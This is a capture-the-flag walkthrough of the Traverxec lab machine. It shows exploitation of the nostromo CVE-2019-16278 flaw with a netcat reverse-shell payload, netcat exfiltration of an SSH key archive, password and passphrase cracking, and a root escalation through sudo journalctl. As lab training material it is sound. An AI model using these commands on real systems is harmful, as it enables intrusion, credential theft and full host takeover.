Overview

Reconnaissance

Nmap

$ nmap -Pn -n -A -T5 -p1-65535 10.10.10.165
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-29 18:23 CEST
Nmap scan report for 10.10.10.165
Host is up (0.20s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
|
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan reveals SSH running on port 22 and nostromo running on port 80 (HTTP port).

Nostromo

nhttpd is an open-source web server, also known as the Nostromo web server, designed by Marcus Glocker. It runs as a single process, and handles normal concurrent connections by select calls, but for efficiency during more demanding connections such as directory listings and CGI execution it forks 1.

By visiting the site, we land on this home page.

Home page

Home page

Enumeration

After making some searches on Google, I found out that this version of nostromo (1.9.6) is vulnerable to directory traversal leading to RCE (CVE-2019-16278).
I set up a listener.

$ nc -nlvvp 4444
listening on [any] 4444 ...

I exploited the vulnerability using a python script

$ python exploit.py 10.10.10.165 80 'nc 10.10.14.120 4444 -c /bin/sh' 

and successfully got a shell as www-data who is by default the user running web services on linux machines.

connect to [10.10.14.120] from (UNKNOWN) [10.10.10.165] 34378
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ whoami
www-data
www-data@traverxec:/usr/bin$

Exploitation

Hash

While searching in the web root (/var/nostromo), I found a folder conf containing a file .htpasswd. Its content seems interesting.

david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

I tried to crack the hash using John The Ripper.

$ ./john hash.txt --wordlist=/home/atsika/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)
1g 0:00:00:32 DONE (2020-04-29 21:19) 0.03099g/s 327911p/s 327911c/s 327911C/s NuiKo910..Noury
Use the "--show" option to display all of the cracked passwords reliably
Session completed

I tried using password Nowonly4me to connect via SSH but it seems to be the wrong password.

SSH keys

So far I know that there is a user called david. Trying to access /home/david folder resulted in a ‘Permission denied’ because www-data doesn’t have enought rights.
I’ve never used nostromo before so I decided to read some documentation about it. I discovered that there might be folder in /home/david that can be accessed by anyone 2. Checking the nhttpd.conf file, we can see that the homedirs_public is set to public_www.
Trying cd /home/david/public_www succeed. There was a folder protected-file-area itself contained a compressed tar archive backup-ssh-identity-files.tgz. I decided to retrieve the archive to my machine so I can extract its content. To do this I used nc.
On my machine :

$ nc -lvnp 1313 > backup-ssh-identity-files.tgz

In the shell we got :

$ nc 10.10.14.120 1313 < backup-ssh-identity-files.tgz

Inside the archive there were 3 files : authorized_keys, id_rsa and id_rsa.pub. Definitly SSH keys.
Using the private key to connect required a passphrase.

$ ssh -i home/david/.ssh/id_rsa david@10.10.10.165
Enter passphrase for key 'home/david/.ssh/id_rsa':

I tried the password we found earlier but still failed to connect. This password was probably a rabbit hole.

I decided to use John The Ripper again to try to crack the passphrase using the private key. First I need to convert it with ssh2john.py.

$ python3 ssh2john.py home/david/.ssh/id_rsa > ssh_hash.txt

Now I can try to crack it.

$ ./john ssh_hash.txt --wordlist=/home/atsika/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (home/david/.ssh/id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:03 DONE (2020-04-29 22:36) 0.3267g/s 4686Kp/s 4686Kc/s 4686KC/sa6_123..*7¡Vamos!
Session completed

This time using the freshly cracked passphrase (hunter) worked and we are now connected as david.

Privilege Escalation

server-stats

Here we go again for some enumeration. In david’s home folder there was a folder named bin containing 2 files : server-stats.head and server-stats.sh.
The second one catched much more my attention.

$ cat server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load : `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets : `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

journalctl

Since the journalctl command could be executed using sudo (as root) by david, it was obvious that I needed to find how to exploit it. When searching on internet “journalctl root shell”, I came accross GTFOBins and precisely on journalctl.

journalctl
This invokes the default pager, which is likely to be less, other functions may apply.
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

That’s it ! By executing journalctl it would output logs in less. From there I could execute commands as root.

less
shell-command
Invokes a shell to run the shell-command given 3

$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2020-04-29 10:20:33 CEST, end at Wed 2020-04-29 23:10:26 CEST. --
Apr 29 12:16:38 traverxec sudo[20526]:   pam_unix(sudo:auth): authentification failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=wwww-data 
!/bin/sh
# whoami
root
#

Conclusion

I find this box very interesting because it mixes web and system exploitation. Furthermore escalating 2 times was a nice part too (from www-data to david then from david to root). Globally I enjoyed doing it.
Shoutout to léco ! You can find his Traverxec writeup in french right here.